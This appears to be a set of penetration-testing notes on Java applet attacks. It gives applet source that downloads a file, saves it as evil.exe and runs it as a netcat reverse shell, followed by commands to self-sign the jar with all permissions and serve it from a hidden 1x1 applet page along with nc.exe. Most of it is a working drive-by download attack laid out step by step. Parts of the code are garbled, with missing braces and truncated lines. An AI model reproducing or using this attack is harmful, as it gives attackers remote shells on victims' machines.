Java Applets

Java applets were small applications written in the Java programming language, or another programming language that compiles to Java bytecode, and delivered to users in the form of Java bytecode.

-- Wikipedia


import java.applet.*;
import java.awt.*;
import java.util.*; 
		*  Author: Offensive Security 
		*  This Java applet will download a file and execute it. **/ 
public class Java extends Applet {
	private Object initialized = null;

	public Object isInitialized() {
		return initialized;

	public void init() {
		Process f;
		try {
			String tmpdir = System.getProperty("") + File.separator;
			String expath = tmpdir + "evil.exe";
			String download = "";
			download = getParameter("1");
			if (download.length() > 0) { // URL parameter
				URL url = new URL(download);
				// Get an input stream for reading
				InputStream in = url.openStream();
				// Create a buffered input stream for efficency
				BufferedInputStream bufIn = new BufferedInputStream(in);
				File outputFile = new File(expath);
				OutputStream out = new BufferedOutputStream(new
				byte[] buffer = new byte[2048];
				for (;;) {
					int nBytes =;
					if (nBytes <= 0) break;
					out.write(buffer, 0, nBytes);
			f = Runtime.getRuntime().exec("cmd.exe /c " + expath + "<ip> 443 -e cmd.exe"); 
		} catch(IOException e) { 
		/* ended here and commented out below for bypass */ 
		catch (Exception exception) {

Compile, sign, etc.

javac -source 1.7 -target 1.7
echo “Permissions: all-permissions” > /root/manifest.txt
jar cvf Java.jar Java.class
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass password123

-> Fill in with bullshit

jarsigner -keystore mykeystore -storepass password123 -keypass mykeypass -signedjar SignedJava.jar Java.jar signapplet
cp Java.class SignedJava.jar /var/www/html/

Make exploit available to the target

echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1" value=""></applet>' > /var/www/html/java.html
locate nc.exe
cp /usr/share/windows-binaries/nc.exe /var/www/html/evil.exe

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